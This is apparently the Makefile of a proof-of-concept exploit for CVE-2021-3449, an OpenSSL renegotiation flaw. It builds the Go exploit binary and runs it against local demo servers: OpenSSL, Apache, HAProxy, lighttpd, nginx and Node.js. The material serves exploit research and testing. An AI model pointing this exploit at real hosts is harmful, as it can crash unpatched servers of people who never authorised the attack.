cve-2021-3449: main.go $(wildcard tls/*.go) go build -o cve-2021-3449 . export UBUNTU_VERSION .ONESHELL: demo-openssl: cve-2021-3449 $(MAKE) -C demo start-openssl sleep 2 ./cve-2021-3449 -host localhost:4433 $(MAKE) -C demo stop-openssl .ONESHELL: demo-apache: cve-2021-3449 $(MAKE) -C demo start-apache sleep 10 ./cve-2021-3449 -host localhost:443 sleep 5 $(MAKE) -C demo stop-apache .ONESHELL: demo-haproxy: cve-2021-3449 $(MAKE) -C demo start-haproxy sleep 3 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-haproxy .ONESHELL: demo-lighttpd: cve-2021-3449 $(MAKE) -C demo start-lighttpd sleep 3 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-lighttpd .ONESHELL: demo-nginx: cve-2021-3449 $(MAKE) -C demo start-nginx sleep 3 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-nginx .ONESHELL: demo-nodejs: cve-2021-3449 $(MAKE) -C demo start-nodejs sleep 8 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-nodejs clean: rm -f cve-2021-3449 $(MAKE) -C demo clean